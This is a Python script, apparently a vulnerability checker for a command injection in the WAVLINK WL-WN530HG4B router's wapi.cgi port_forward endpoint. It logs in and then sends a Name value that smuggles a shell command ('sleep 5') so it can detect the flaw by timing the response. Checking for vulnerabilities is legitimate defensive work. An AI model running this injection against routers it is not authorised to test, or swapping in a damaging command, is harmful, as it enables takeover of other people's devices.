WAVLINK WL-WN530HG4B wapi.cgi port_forward command injection via Name parameter

#!/usr/bin/env python3
'''CVE-2026-120197 check for WAVLINK WL-WN530HG4B M_V260724
Sends a harmless time-based command injection to /cgi-bin/wapi.cgi and
reports VULNERABLE if the injected sleep delays the response.
'''
import argparse
import sys
import time
import requests
from urllib.parse import urljoin


def log(message):
    print(f'[!] {message}', file=sys.stderr)


def main():
    parser = argparse.ArgumentParser(description='Check CVE-2026-120197')
    parser.add_argument('target', help='Router URL, e.g. http://192.168.10.1')
    parser.add_argument('--user', default='admin', help='Admin username (default: admin)')
    parser.add_argument('--password', required=True, help='Admin password')
    parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds')
    args = parser.parse_args()

    base = args.target.rstrip('/')
    session = requests.Session()
    session.headers.update({'User-Agent': 'CVE-2026-120197-check/1.0'})

    # Attempt common WAVLINK login endpoint. Adjust if your firmware uses a different path.
    login_data = {'username': args.user, 'password': args.password}
    try:
        r = session.post(urljoin(base, '/cgi-bin/login.cgi'), data=login_data, timeout=args.timeout, verify=False)
        if r.status_code >= 400 or 'error' in r.text.lower():
            log('Login failed or endpoint not found; cannot confirm authenticated access.')
            print('UNKNOWN')
            return 1
    except requests.RequestException as e:
        log(f'Login request failed: {e}')
        print('UNKNOWN')
        return 1

    # Time-based command injection through the Name parameter.
    # The command 'sleep 5' is harmless but produces a 5-second delay if vulnerable.
    malicious_name = 'test; sleep 5; #'
    data = {
        'action': 'port_forward',
        'Name': malicious_name
    }
    url = urljoin(base, '/cgi-bin/wapi.cgi')
    try:
        start = time.time()
        r = session.post(url, data=data, timeout=args.timeout, verify=False)
        elapsed = time.time() - start
    except requests.RequestException as e:
        log(f'Injection request failed: {e}')
        print('UNKNOWN')
        return 1

    if elapsed >= 4.0:
        print('VULNERABLE')
        return 0
    elif r.status_code == 200:
        print('PATCHED')
        return 0
    else:
        print('UNKNOWN')
        return 1


if __name__ == '__main__':
    sys.exit(main())